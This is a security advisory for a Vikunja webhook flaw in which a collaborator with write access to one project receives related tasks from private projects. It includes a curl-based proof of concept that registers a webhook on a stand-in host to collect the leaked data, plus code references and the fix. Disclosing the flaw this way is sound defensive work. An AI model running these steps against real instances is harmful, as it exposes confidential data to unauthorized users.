GHSA-66CQ-J6RW-PJCH
Webhook payloads leak related tasks from projects the webhook owner can't read
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-66CQ-J6RW-PJCH divulgada · CVSS 5.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A user with write access to a shared project can add a webhook to it and receive tasks from projects they have no access to. When someone acts on a task, Vikunja builds the webhook payload with that person's permissions, not the webhook owner's. Every task linked to it by a relation goes into `related_tasks`, with title, description and the other task fields, and is posted to the webhook URL.
The API already hides these tasks from the same user. That was the fix for GHSA-8cmm-j6c4-rr8v. The webhook payload never got the same check.
This is the related-task leg of the webhook-authorization flaw in GHSA-5q33-h98p-rgh9 and is being fixed together with it.
Details
`WebhookListener.Handle` calls `reloadEventData`, and `reloadTaskInEvent` reloads the task as the user who triggered the event:
// pkg/models/listeners.go:1394
err := fullTask.ReadOne(s, &user.User{ID: doerID})`ReadOne` attaches related tasks through `addRelatedTasksToTasks` (`pkg/models/tasks.go:605`), which filters them by the projects that same user can access, at `pkg/models/tasks.go:620`. The buckets expand (`:678`) and the subscription lookup (`:2381`) run as the doer too. `reloadEventData` runs once for all webhooks of the event (`pkg/models/listeners.go:1631`), so every recipient gets the doer's view of the task.
The only recipient check is in `projectWebhooksForEvent` at `pkg/models/listeners.go:1571`. It confirms the webhook creator can read the project the event belongs to. Nothing checks the projects of the related tasks inside the payload. `sendWebhookPayload` at `pkg/models/webhooks.go:345` posts it as it is.
Every webhook event that carries a task triggers this, for example `task.updated` and the comment, assignee, attachment and relation events.
Proof of concept
Alice owns everything. Bob only gets write access to project A. Bob's webhook receiver needs a public address, because the SSRF guard blocks private IPs by default.
API=https://vikunja.example/api/v2
call() { tok=$1 method=$2 path=$3; shift 3; curl -s -X "$method" -H "Authorization: Bearer $tok" -H 'Content-Type: application/json' "$API$path" "$@"; }
# Alice: shared project A, private project B, one task in each, linked
A=$(call $ALICE POST /projects -d '{"title":"Shared A"}' | jq .id)
B=$(call $ALICE POST /projects -d '{"title":"Private B"}' | jq .id)
A1=$(call $ALICE POST /projects/$A/tasks -d '{"title":"Task A1"}' | jq .id)
B1=$(call $ALICE POST /projects/$B/tasks -d '{"title":"Acquisition target","description":"Confidential"}' | jq .id)
call $ALICE POST /tasks/$A1/relations -d "{\"other_task_id\":$B1,\"relation_kind\":\"related\"}"
call $ALICE POST /projects/$A/users -d '{"username":"bob","permission":1}'
# Bob can't read B1 through the API
call $BOB GET /tasks/$B1 -o /dev/null -w '%{http_code}\n' # 403
# Bob adds a webhook to A
call $BOB POST /projects/$A/webhooks -d '{"target_url":"https://bob.example/hook","events":["task.updated"]}'
# Alice edits A1 as part of normal work
call $ALICE PUT /tasks/$A1 -d '{"title":"Task A1, edited"}'Bob's receiver gets this, trimmed:
{
"event_name": "task.updated",
"data": {
"task": {
"title": "Task A1, edited",
"related_tasks": {
"related": [
{ "project_id": 46, "title": "Acquisition target", "description": "Confidential" }
]
}
}
}
}If Bob makes the same edit himself, `related_tasks` comes back empty. What leaks depends on who triggers the event.
I reproduced this on main at 4e2a899, which has the same code as v2.7.0. The test runs every setup step through the v2 API and delivers to a real HTTP receiver. It turns on `outgoingrequests.allownonroutableips` only so it can deliver to localhost. I can share the Go test.
Impact
A collaborator with write access to one shared project can read tasks from projects they were never given. They get the title, description, dates, priority, done state, identifier and project ID of every task linked to a task in the shared project. The leak fires whenever someone who can see those tasks works on the linked task, and keeps firing on every later change until Bob loses access to project A.
Bob can't choose which tasks he gets, and the leak needs a third party who can read the related task to act on the linked task. Teams often link their own private tasks to work in a project they share with a client or contractor, as blockers or related tasks, and those are exactly the tasks that leak.
Fix
Move the reload into the per-webhook loop and resolve the task, its relations, buckets and subscription as `webhook.CreatedByID` instead of the doer. `accessibleProjectIDsCond` (`pkg/models/tasks.go:622`) already filters relations; it just needs the creator as the auth. Ships together with the GHSA-5q33-h98p-rgh9 fix, with a regression test for a related task the webhook creator can't read.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gocode.vikunja.io/api |
Sin parche | — | — | v0.24.6 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-66cq-j6rw-pjchLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
